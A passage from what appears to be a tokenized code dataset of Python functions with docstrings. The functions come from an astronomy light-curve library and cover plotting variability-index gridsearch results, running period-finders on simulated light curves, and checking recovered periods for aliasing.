np.any(np.isfinite(inveta_mcc)):<EOL><INDENT>plt.plot(gridresults['<STR_LIT>'],<EOL>inveta_mcc)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.text(<NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>transform=plt.gca().transAxes,<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>')<EOL>plt.xticks([])<EOL>plt.yticks([])<EOL><DEDENT>plt.subplot(<NUM_LIT:3>,<NUM_LIT:5>,<NUM_LIT:7>)<EOL>if np.any(np.isfinite(inveta_precision)):<EOL><INDENT>plt.plot(gridresults['<STR_LIT>'],<EOL>inveta_precision)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.text(<NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>transform=plt.gca().transAxes,<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>')<EOL>plt.xticks([])<EOL>plt.yticks([])<EOL><DEDENT>plt.subplot(<NUM_LIT:3>,<NUM_LIT:5>,<NUM_LIT:8>)<EOL>if np.any(np.isfinite(inveta_recall)):<EOL><INDENT>plt.plot(gridresults['<STR_LIT>'],<EOL>inveta_recall)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.text(<NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>transform=plt.gca().transAxes,<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>')<EOL>plt.xticks([])<EOL>plt.yticks([])<EOL><DEDENT>plt.subplot(<NUM_LIT:3>,<NUM_LIT:5>,<NUM_LIT:9>)<EOL>if np.any(np.isfinite(inveta_missed_stet_found)):<EOL><INDENT>plt.plot(gridresults['<STR_LIT>'],<EOL>inveta_missed_stet_found)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.text(<NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>transform=plt.gca().transAxes,<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>')<EOL>plt.xticks([])<EOL>plt.yticks([])<EOL><DEDENT>plt.subplot(<NUM_LIT:3>,<NUM_LIT:5>,<NUM_LIT:10>)<EOL>if np.any(np.isfinite(inveta_missed_iqr_found)):<EOL><INDENT>plt.plot(gridresults['<STR_LIT>'],<EOL>inveta_missed_iqr_found)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.text(<NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>transform=plt.gca().transAxes,<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>')<EOL>plt.xticks([])<EOL>plt.yticks([])<EOL><DEDENT>plt.subplot(<NUM_LIT:3>,<NUM_LIT:5>,<NUM_LIT:11>)<EOL>if np.any(np.isfinite(iqr_mcc)):<EOL><INDENT>plt.plot(gridresults['<STR_LIT>'],<EOL>iqr_mcc)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.text(<NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>transform=plt.gca().transAxes,<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>')<EOL>plt.xticks([])<EOL>plt.yticks([])<EOL><DEDENT>plt.subplot(<NUM_LIT:3>,<NUM_LIT:5>,<NUM_LIT:12>)<EOL>if np.any(np.isfinite(iqr_precision)):<EOL><INDENT>plt.plot(gridresults['<STR_LIT>'],<EOL>iqr_precision)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.text(<NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>transform=plt.gca().transAxes,<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>')<EOL>plt.xticks([])<EOL>plt.yticks([])<EOL><DEDENT>plt.subplot(<NUM_LIT:3>,<NUM_LIT:5>,<NUM_LIT>)<EOL>if np.any(np.isfinite(iqr_recall)):<EOL><INDENT>plt.plot(gridresults['<STR_LIT>'],<EOL>iqr_recall)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.text(<NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>transform=plt.gca().transAxes,<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>')<EOL>plt.xticks([])<EOL>plt.yticks([])<EOL><DEDENT>plt.subplot(<NUM_LIT:3>,<NUM_LIT:5>,<NUM_LIT>)<EOL>if np.any(np.isfinite(iqr_missed_stet_found)):<EOL><INDENT>plt.plot(gridresults['<STR_LIT>'],<EOL>iqr_missed_stet_found)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.text(<NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>transform=plt.gca().transAxes,<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>')<EOL>plt.xticks([])<EOL>plt.yticks([])<EOL><DEDENT>plt.subplot(<NUM_LIT:3>,<NUM_LIT:5>,<NUM_LIT:15>)<EOL>if np.any(np.isfinite(iqr_missed_inveta_found)):<EOL><INDENT>plt.plot(gridresults['<STR_LIT>'],<EOL>iqr_missed_inveta_found)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.text(<NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>transform=plt.gca().transAxes,<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>')<EOL>plt.xticks([])<EOL>plt.yticks([])<EOL><DEDENT>plt.subplots_adjust(hspace=<NUM_LIT>,wspace=<NUM_LIT>)<EOL>plt.suptitle('<STR_LIT>' % (magcol, magbinmedian))<EOL>plotdir = os.path.join(gridresults['<STR_LIT>'],<EOL>'<STR_LIT>')<EOL>if not os.path.exists(plotdir):<EOL><INDENT>os.mkdir(plotdir)<EOL><DEDENT>gridplotf = os.path.join(<EOL>plotdir,<EOL>'<STR_LIT>' %<EOL>(magcol, magbinmedian)<EOL>)<EOL>plt.savefig(gridplotf,dpi=<NUM_LIT:100>,bbox_inches='<STR_LIT>')<EOL>plt.close('<STR_LIT:all>')<EOL>stet_mcc_maxind = np.where(stet_mcc == np.max(stet_mcc))<EOL>stet_precision_maxind = np.where(<EOL>stet_precision == np.max(stet_precision)<EOL>)<EOL>stet_recall_maxind = np.where(stet_recall == np.max(stet_recall))<EOL>best_stet_mcc = stet_mcc[stet_mcc_maxind]<EOL>best_stet_precision = stet_mcc[stet_precision_maxind]<EOL>best_stet_recall = stet_mcc[stet_recall_maxind]<EOL>stet_with_best_mcc = gridresults['<STR_LIT>'][stet_mcc_maxind]<EOL>stet_with_best_precision = gridresults['<STR_LIT>'][<EOL>stet_precision_maxind<EOL>]<EOL>stet_with_best_recall = (<EOL>gridresults['<STR_LIT>'][stet_recall_maxind]<EOL>)<EOL>inveta_mcc_maxind = np.where(inveta_mcc == np.max(inveta_mcc))<EOL>inveta_precision_maxind = np.where(<EOL>inveta_precision == np.max(inveta_precision)<EOL>)<EOL>inveta_recall_maxind = (<EOL>np.where(inveta_recall == np.max(inveta_recall))<EOL>)<EOL>best_inveta_mcc = inveta_mcc[inveta_mcc_maxind]<EOL>best_inveta_precision = inveta_mcc[inveta_precision_maxind]<EOL>best_inveta_recall = inveta_mcc[inveta_recall_maxind]<EOL>inveta_with_best_mcc = gridresults['<STR_LIT>'][inveta_mcc_maxind]<EOL>inveta_with_best_precision = gridresults['<STR_LIT>'][<EOL>inveta_precision_maxind<EOL>]<EOL>inveta_with_best_recall = gridresults['<STR_LIT>'][<EOL>inveta_recall_maxind<EOL>]<EOL>iqr_mcc_maxind = np.where(iqr_mcc == np.max(iqr_mcc))<EOL>iqr_precision_maxind = np.where(<EOL>iqr_precision == np.max(iqr_precision)<EOL>)<EOL>iqr_recall_maxind = (<EOL>np.where(iqr_recall == np.max(iqr_recall))<EOL>)<EOL>best_iqr_mcc = iqr_mcc[iqr_mcc_maxind]<EOL>best_iqr_precision = iqr_mcc[iqr_precision_maxind]<EOL>best_iqr_recall = iqr_mcc[iqr_recall_maxind]<EOL>iqr_with_best_mcc = gridresults['<STR_LIT>'][iqr_mcc_maxind]<EOL>iqr_with_best_precision = gridresults['<STR_LIT>'][<EOL>iqr_precision_maxind<EOL>]<EOL>iqr_with_best_recall = gridresults['<STR_LIT>'][<EOL>iqr_recall_maxind<EOL>]<EOL>plotres[magcol][magbinmedian] = {<EOL>'<STR_LIT>':gridresults['<STR_LIT>'],<EOL>'<STR_LIT>':stet_mcc,<EOL>'<STR_LIT>':stet_precision,<EOL>'<STR_LIT>':stet_recall,<EOL>'<STR_LIT>':stet_missed_inveta_found,<EOL>'<STR_LIT>':best_stet_mcc,<EOL>'<STR_LIT>':stet_with_best_mcc,<EOL>'<STR_LIT>':best_stet_precision,<EOL>'<STR_LIT>':stet_with_best_precision,<EOL>'<STR_LIT>':best_stet_recall,<EOL>'<STR_LIT>':stet_with_best_recall,<EOL>'<STR_LIT>':gridresults['<STR_LIT>'],<EOL>'<STR_LIT>':inveta_mcc,<EOL>'<STR_LIT>':inveta_precision,<EOL>'<STR_LIT>':inveta_recall,<EOL>'<STR_LIT>':inveta_missed_stet_found,<EOL>'<STR_LIT>':best_inveta_mcc,<EOL>'<STR_LIT>':inveta_with_best_mcc,<EOL>'<STR_LIT>':best_inveta_precision,<EOL>'<STR_LIT>':inveta_with_best_precision,<EOL>'<STR_LIT>':best_inveta_recall,<EOL>'<STR_LIT>':inveta_with_best_recall,<EOL>'<STR_LIT>':gridresults['<STR_LIT>'],<EOL>'<STR_LIT>':iqr_mcc,<EOL>'<STR_LIT>':iqr_precision,<EOL>'<STR_LIT>':iqr_recall,<EOL>'<STR_LIT>':iqr_missed_stet_found,<EOL>'<STR_LIT>':best_iqr_mcc,<EOL>'<STR_LIT>':iqr_with_best_mcc,<EOL>'<STR_LIT>':best_iqr_precision,<EOL>'<STR_LIT>':iqr_with_best_precision,<EOL>'<STR_LIT>':best_iqr_recall,<EOL>'<STR_LIT>':iqr_with_best_recall,<EOL>'<STR_LIT>':gridplotf<EOL>}<EOL>if stet_with_best_mcc.size > <NUM_LIT:1>:<EOL><INDENT>plotres[magcol]['<STR_LIT>'].append(stet_with_best_mcc[<NUM_LIT:0>])<EOL><DEDENT>elif stet_with_best_mcc.size > <NUM_LIT:0>:<EOL><INDENT>plotres[magcol]['<STR_LIT>'].append(stet_with_best_mcc[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>plotres[magcol]['<STR_LIT>'].append(np.nan)<EOL><DEDENT>if inveta_with_best_mcc.size > <NUM_LIT:1>:<EOL><INDENT>plotres[magcol]['<STR_LIT>'].append(inveta_with_best_mcc[<NUM_LIT:0>])<EOL><DEDENT>elif inveta_with_best_mcc.size > <NUM_LIT:0>:<EOL><INDENT>plotres[magcol]['<STR_LIT>'].append(inveta_with_best_mcc[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>plotres[magcol]['<STR_LIT>'].append(np.nan)<EOL><DEDENT>if iqr_with_best_mcc.size > <NUM_LIT:1>:<EOL><INDENT>plotres[magcol]['<STR_LIT>'].append(iqr_with_best_mcc[<NUM_LIT:0>])<EOL><DEDENT>elif iqr_with_best_mcc.size > <NUM_LIT:0>:<EOL><INDENT>plotres[magcol]['<STR_LIT>'].append(iqr_with_best_mcc[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>plotres[magcol]['<STR_LIT>'].append(np.nan)<EOL><DEDENT><DEDENT><DEDENT>plotrespicklef = os.path.join(simbasedir,<EOL>'<STR_LIT>')<EOL>with open(plotrespicklef, '<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(plotres, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>for magcol in gridresults['<STR_LIT>']:<EOL><INDENT>LOGINFO('<STR_LIT>' % magcol)<EOL>LOGINFO('<STR_LIT>')<EOL>for magbin, inveta, stet, iqr in zip(<EOL>plotres[magcol]['<STR_LIT>'],<EOL>plotres[magcol]['<STR_LIT>'],<EOL>plotres[magcol]['<STR_LIT>'],<EOL>plotres[magcol]['<STR_LIT>']):<EOL><INDENT>LOGINFO('<STR_LIT>' % (magbin,<EOL>inveta,<EOL>stet,<EOL>iqr))<EOL><DEDENT><DEDENT>return plotres<EOL>", "docstring": "This plots the gridsearch results from `variable_index_gridsearch_magbin`.\n\n    Parameters\n    ----------\n\n    gridsearch_results : dict\n        This is the dict produced by `variable_index_gridsearch_magbin` above.\n\n    Returns\n    -------\n\n    dict\n        The returned dict contains filenames of the recovery rate plots made for\n        each variability index. These include plots of the precision, recall,\n        and Matthews Correlation Coefficient over each magbin and a heatmap of\n        these values over the grid points of the variability index stdev values\n        arrays used.", "id": "f14692:m9"}
{"signature": "def run_periodfinding(simbasedir,<EOL>pfmethods=('<STR_LIT>','<STR_LIT>','<STR_LIT>'),<EOL>pfkwargs=({},{},{'<STR_LIT>':<NUM_LIT:1.0>,'<STR_LIT>':<NUM_LIT>}),<EOL>getblssnr=False,<EOL>sigclip=<NUM_LIT>,<EOL>nperiodworkers=<NUM_LIT:10>,<EOL>ncontrolworkers=<NUM_LIT:4>,<EOL>liststartindex=None,<EOL>listmaxobjects=None):", "body": "<EOL>with open(os.path.join(simbasedir, '<STR_LIT>'),'<STR_LIT:rb>') as infd:<EOL><INDENT>siminfo = pickle.load(infd)<EOL><DEDENT>lcfpaths = siminfo['<STR_LIT>']<EOL>pfdir = os.path.join(simbasedir,'<STR_LIT>')<EOL>timecols = siminfo['<STR_LIT>']<EOL>magcols = siminfo['<STR_LIT>']<EOL>errcols = siminfo['<STR_LIT>']<EOL>fakelc_formatkey = '<STR_LIT>' % siminfo['<STR_LIT>']<EOL>lcproc.register_lcformat(<EOL>fakelc_formatkey,<EOL>'<STR_LIT>',<EOL>timecols,<EOL>magcols,<EOL>errcols,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>magsarefluxes=siminfo['<STR_LIT>']<EOL>)<EOL>if liststartindex:<EOL><INDENT>lcfpaths = lcfpaths[liststartindex:]<EOL><DEDENT>if listmaxobjects:<EOL><INDENT>lcfpaths = lcfpaths[:listmaxobjects]<EOL><DEDENT>pfinfo = periodsearch.parallel_pf(lcfpaths,<EOL>pfdir,<EOL>lcformat=fakelc_formatkey,<EOL>pfmethods=pfmethods,<EOL>pfkwargs=pfkwargs,<EOL>getblssnr=getblssnr,<EOL>sigclip=sigclip,<EOL>nperiodworkers=nperiodworkers,<EOL>ncontrolworkers=ncontrolworkers)<EOL>with open(os.path.join(simbasedir,<EOL>'<STR_LIT>'),'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(pfinfo, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>return os.path.join(simbasedir,'<STR_LIT>')<EOL>", "docstring": "This runs periodfinding using several period-finders on a collection of\n    fake LCs.\n\n    As a rough benchmark, 25000 fake LCs with 10000--50000 points per LC take\n    about 26 days in total to run on an invocation of this function using\n    GLS+PDM+BLS and 10 periodworkers and 4 controlworkers (so all 40 'cores') on\n    a 2 x Xeon E5-2660v3 machine.\n\n    Parameters\n    ----------\n\n    pfmethods : sequence of str\n        This is used to specify which periodfinders to run. These must be in the\n        `lcproc.periodsearch.PFMETHODS` dict.\n\n    pfkwargs : sequence of dict\n        This is used to provide optional kwargs to the period-finders.\n\n    getblssnr : bool\n        If this is True, will run BLS SNR calculations for each object and\n        magcol. This takes a while to run, so it's disabled (False) by default.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    nperiodworkers : int\n        This is the number of parallel period-finding worker processes to use.\n\n    ncontrolworkers : int\n        This is the number of parallel period-finding control workers to\n        use. Each control worker will launch `nperiodworkers` worker processes.\n\n    liststartindex : int\n        The starting index of processing. This refers to the filename list\n        generated by running `glob.glob` on the fake LCs in `simbasedir`.\n\n    maxobjects : int\n        The maximum number of objects to process in this run. Use this with\n        `liststartindex` to effectively distribute working on a large list of\n        input light curves over several sessions or machines.\n\n    Returns\n    -------\n\n    str\n        The path to the output summary pickle produced by\n        `lcproc.periodsearch.parallel_pf`", "id": "f14692:m10"}
{"signature": "def check_periodrec_alias(actualperiod,<EOL>recoveredperiod,<EOL>tolerance=<NUM_LIT>):", "body": "if not (np.isfinite(actualperiod) and np.isfinite(recoveredperiod)):<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>twotimes_p = actualperiod*<NUM_LIT><EOL>half_p = actualperiod*<NUM_LIT:0.5><EOL>alias_1a = actualperiod/(<NUM_LIT:1.0>+actualperiod)<EOL>alias_1b = actualperiod/(<NUM_LIT:1.0>-actualperiod)<EOL>alias_2a = actualperiod/(<NUM_LIT:1.0>+<NUM_LIT>*actualperiod)<EOL>alias_2b = actualperiod/(<NUM_LIT:1.0>-<NUM_LIT>*actualperiod)<EOL>alias_3a = actualperiod/(<NUM_LIT:1.0>+<NUM_LIT>*actualperiod)<EOL>alias_3b = actualperiod/(<NUM_LIT:1.0>-<NUM_LIT>*actualperiod)<EOL>alias_4a = actualperiod/(actualperiod - <NUM_LIT:1.0>)<EOL>alias_4b = actualperiod/(<NUM_LIT>*actualperiod - <NUM_LIT:1.0>)<EOL>aliases = np.ravel(np.array([<EOL>actualperiod,<EOL>twotimes_p,<EOL>half_p,<EOL>alias_1a,<EOL>alias_1b,<EOL>alias_2a,<EOL>alias_2b,<EOL>alias_3a,<EOL>alias_3b,<EOL>alias_4a,<EOL>alias_4b]<EOL>))<EOL>alias_labels = np.array(ALIAS_TYPES)<EOL>closest_alias = np.isclose(recoveredperiod, aliases, atol=tolerance)<EOL>if np.any(closest_alias):<EOL><INDENT>closest_alias_type = alias_labels[closest_alias]<EOL>return '<STR_LIT:U+002C>'.join(closest_alias_type.tolist())<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT>", "docstring": "This determines what kind of aliasing (if any) exists between\n    `recoveredperiod` and `actualperiod`.\n\n    Parameters\n    ----------\n\n    actualperiod : float\n        The actual period of the object.\n\n    recoveredperiod : float\n        The recovered period of the object.\n\n    tolerance : float\n        The absolute difference required between the input periods to mark the\n        recovered period as close to the actual period.\n\n    Returns\n    -------\n\n    str\n        The type of alias determined for the input combination of periods. This\n        will be CSV string with values taken from the following list, based on\n        the types of alias found::\n\n            ['actual',\n             'twice',\n             'half',\n             'ratio_over_1plus',\n             'ratio_over_1minus',\n             'ratio_over_1plus_twice',\n             'ratio_over_1minus_twice',\n             'ratio_over_1plus_thrice',\n             'ratio_over_1minus_thrice',\n             'ratio_over_minus1',\n             'ratio_over_twice_minus1']", "id": "f14692:m11"}
{"signature": "def periodicvar_recovery(fakepfpkl,<EOL>simbasedir,<EOL>period_tolerance=<NUM_LIT>):", "body": "if fakepfpkl.endswith('<STR_LIT>'):<EOL><INDENT>infd = gzip.open(fakepfpkl,'<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>infd = open(fakepfpkl,'<STR_LIT:rb>')<EOL><DEDENT>fakepf = pickle.load(infd)<EOL>infd.close()<EOL>objectid, lcfbasename = fakepf['<STR_LIT>'], fakepf['<STR_LIT>']<EOL>lcfpath = os.path.join(simbasedir,'<STR_LIT>',lcfbasename)<EOL>if not os.path.exists(lcfpath):<EOL><INDENT>LOGERROR('<STR_LIT>' % (objectid,<EOL>lcfpath))<EOL>return None<EOL><DEDENT>fakelc = lcproc._read_pklc(lcfpath)<EOL>actual_varparams, actual_varperiod, actual_varamplitude, actual_vartype = (<EOL>fakelc['<STR_LIT>'],<EOL>fakelc['<STR_LIT>'],<EOL>fakelc['<STR_LIT>'],<EOL>fakelc['<STR_LIT>']<EOL>)<EOL>actual_moments = fakelc['<STR_LIT>']<EOL>magcols = fakelc['<STR_LIT>']<EOL>pfres = {<EOL>'<STR_LIT>':objectid,<EOL>'<STR_LIT>':simbasedir,<EOL>'<STR_LIT>':magcols,<EOL>'<STR_LIT>':os.path.abspath(lcfpath),<EOL>'<STR_LIT>':os.path.abspath(fakepfpkl),<EOL>'<STR_LIT>':actual_vartype,<EOL>'<STR_LIT>':actual_varperiod,<EOL>'<STR_LIT>':actual_varamplitude,<EOL>'<STR_LIT>':actual_varparams,<EOL>'<STR_LIT>':actual_moments,<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>}<EOL>for magcol in magcols:<EOL><INDENT>for pfm in lcproc.PFMETHODS:<EOL><INDENT>if pfm in fakepf[magcol]:<EOL><INDENT>for rpi, rp in enumerate(<EOL>fakepf[magcol][pfm]['<STR_LIT>']<EOL>):<EOL><INDENT>if ((not np.any(np.isclose(<EOL>rp,<EOL>np.array(pfres['<STR_LIT>']),<EOL>rtol=period_tolerance<EOL>))) and np.isfinite(rp)):<EOL><INDENT>pfres['<STR_LIT>'].append(rp)<EOL>pfres['<STR_LIT>'].append(pfm)<EOL>pfres['<STR_LIT>'].append(magcol)<EOL>if pfm == '<STR_LIT>':<EOL><INDENT>this_lspval = (<EOL>np.max(fakepf[magcol][pfm]['<STR_LIT>']) -<EOL>fakepf[magcol][pfm]['<STR_LIT>'][rpi]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>this_lspval = (<EOL>fakepf[magcol][pfm]['<STR_LIT>'][rpi] /<EOL>np.max(fakepf[magcol][pfm]['<STR_LIT>'])<EOL>)<EOL><DEDENT>pfres['<STR_LIT>'].append(this_lspval)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>pfres['<STR_LIT>'] = np.array(pfres['<STR_LIT>'])<EOL>pfres['<STR_LIT>'] = np.array(pfres['<STR_LIT>'])<EOL>pfres['<STR_LIT>'] = np.array(pfres['<STR_LIT>'])<EOL>pfres['<STR_LIT>'] = np.array(pfres['<STR_LIT>'])<EOL>if (actual_vartype and<EOL>actual_vartype in PERIODIC_VARTYPES and<EOL>np.isfinite(actual_varperiod)):<EOL><INDENT>if pfres['<STR_LIT>'].size > <NUM_LIT:0>:<EOL><INDENT>for ri in range(pfres['<STR_LIT>'].size):<EOL><INDENT>pfres['<STR_LIT>'].append(pfres['<STR_LIT>'][ri] -<EOL>np.asscalar(actual_varperiod))<EOL>pfres['<STR_LIT>'].append(<EOL>check_periodrec_alias(actual_varperiod,<EOL>pfres['<STR_LIT>'][ri],<EOL>tolerance=period_tolerance)<EOL>)<EOL><DEDENT>pfres['<STR_LIT>'] = np.array(pfres['<STR_LIT>'])<EOL>pfres['<STR_LIT>'] = np.array(pfres['<STR_LIT>'])<EOL>rec_absdiff = np.abs(pfres['<STR_LIT>'])<EOL>best_recp_ind = rec_absdiff == rec_absdiff.min()<EOL>pfres['<STR_LIT>'] = (<EOL>pfres['<STR_LIT>'][best_recp_ind]<EOL>)<EOL>pfres['<STR_LIT>'] = (<EOL>pfres['<STR_LIT>'][best_recp_ind]<EOL>)<EOL>pfres['<STR_LIT>'] = (<EOL>pfres['<STR_LIT>'][best_recp_ind]<EOL>)<EOL>pfres['<STR_LIT>'] = (<EOL>pfres['<STR_LIT>'][best_recp_ind]<EOL>)<EOL>pfres['<STR_LIT>'] = (<EOL>pfres['<STR_LIT>'][best_recp_ind]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>' %<EOL>fakepfpkl<EOL>)<EOL>pfres['<STR_LIT>'] = np.array(['<STR_LIT>'])<EOL>pfres['<STR_LIT>'] = np.array([np.nan])<EOL>pfres['<STR_LIT>'] = np.array([np.nan])<EOL>pfres['<STR_LIT>'] = np.array([],dtype=np.unicode_)<EOL>pfres['<STR_LIT>'] = np.array([],dtype=np.unicode_)<EOL>pfres['<STR_LIT>'] = np.array([],dtype=np.unicode_)<EOL>pfres['<STR_LIT>'] = np.array([np.nan])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pfres['<STR_LIT>'] = np.array(<EOL>['<STR_LIT>']*pfres['<STR_LIT>'].size<EOL>)<EOL>pfres['<STR_LIT>'] = np.zeros(pfres['<STR_LIT>'].size)<EOL>pfres['<STR_LIT>'] = np.array([np.nan])<EOL>pfres['<STR_LIT>'] = np.array([],dtype=np.unicode_)<EOL>pfres['<STR_LIT>'] = np.array([],dtype=np.unicode_)<EOL>pfres['<STR_LIT>'] = np.array(['<STR_LIT>'])<EOL>pfres['<STR_LIT>'] = np.array([np.nan])<EOL><DEDENT>return pfres<EOL>", "docstring": "Recovers the periodic variable status/info for the simulated PF result.\n\n    - Uses simbasedir and the lcfbasename stored in fakepfpkl to figure out\n      where the LC for this object is.\n    - Gets the actual_varparams, actual_varperiod, actual_vartype,\n      actual_varamplitude elements from the LC.\n    - Figures out if the current objectid is a periodic variable (using\n      actual_vartype).\n    - If it is a periodic variable, gets the canonical period assigned to it.\n    - Checks if the period was recovered in any of the five best periods\n      reported by any of the period-finders, checks if the period recovered was\n      a harmonic of the period.\n    - Returns the objectid, actual period and vartype, recovered period, and\n      recovery status.\n\n\n    Parameters\n    ----------\n\n    fakepfpkl : str\n        This is a periodfinding-<objectid>.pkl[.gz] file produced in the\n        `simbasedir/periodfinding` subdirectory after `run_periodfinding` above\n        is done.\n\n    simbasedir : str\n        The base directory where all of the fake LCs and period-finding results\n        are.\n\n    period_tolerance : float\n        The maximum difference that this function will consider between an\n        actual period (or its aliases) and a recovered period to consider it as\n        as a 'recovered' period.\n\n    Returns\n    -------\n\n    dict\n        Returns a dict of period-recovery results.", "id": "f14692:m12"}
{"signature": "def periodrec_worker(task):", "body": "pfpkl, simbasedir, period_tolerance = task<EOL>try:<EOL><INDENT>return periodicvar_recovery(pfpkl,<EOL>simbasedir,<EOL>period_tolerance=period_tolerance)<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % repr(task))<EOL>return None<EOL><DEDENT>", "docstring": "This is a parallel worker for running period-recovery.\n\n    Parameters\n    ----------\n\n    task : tuple\n        This is used to pass args to the `periodicvar_recovery` function::\n\n            task[0] = period-finding result pickle to work on\n            task[1] = simbasedir\n            task[2] = period_tolerance\n\n    Returns\n    -------\n\n    dict\n        This is the dict produced by the `periodicvar_recovery` function for the\n        input period-finding result pickle.", "id": "f14692:m13"}
{"signature": "def parallel_periodicvar_recovery(simbasedir,<EOL>period_tolerance=<NUM_LIT>,<EOL>liststartind=None,<EOL>listmaxobjects=None,<EOL>nworkers=None):", "body": "<EOL>pfpkldir = os.path.join(simbasedir,'<STR_LIT>')<EOL>if not os.path.exists(pfpkldir):<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>simbasedir)<EOL>return None<EOL><DEDENT>pfpkl_list = glob.glob(os.path.join(pfpkldir,'<STR_LIT>'))<EOL>if len(pfpkl_list) > <NUM_LIT:0>:<EOL><INDENT>if liststartind:<EOL><INDENT>pfpkl_list = pfpkl_list[liststartind:]<EOL><DEDENT>if listmaxobjects:<EOL><INDENT>pfpkl_list = pfpkl_list[:listmaxobjects]<EOL><DEDENT>tasks = [(x, simbasedir, period_tolerance) for x in pfpkl_list]<EOL>pool = mp.Pool(nworkers)<EOL>results = pool.map(periodrec_worker, tasks)<EOL>pool.close()<EOL>pool.join()<EOL>resdict = {x['<STR_LIT>']:x for x in results if x is not None}<EOL>actual_periodicvars = np.array(<EOL>[x['<STR_LIT>'] for x in results<EOL>if (x is not None and 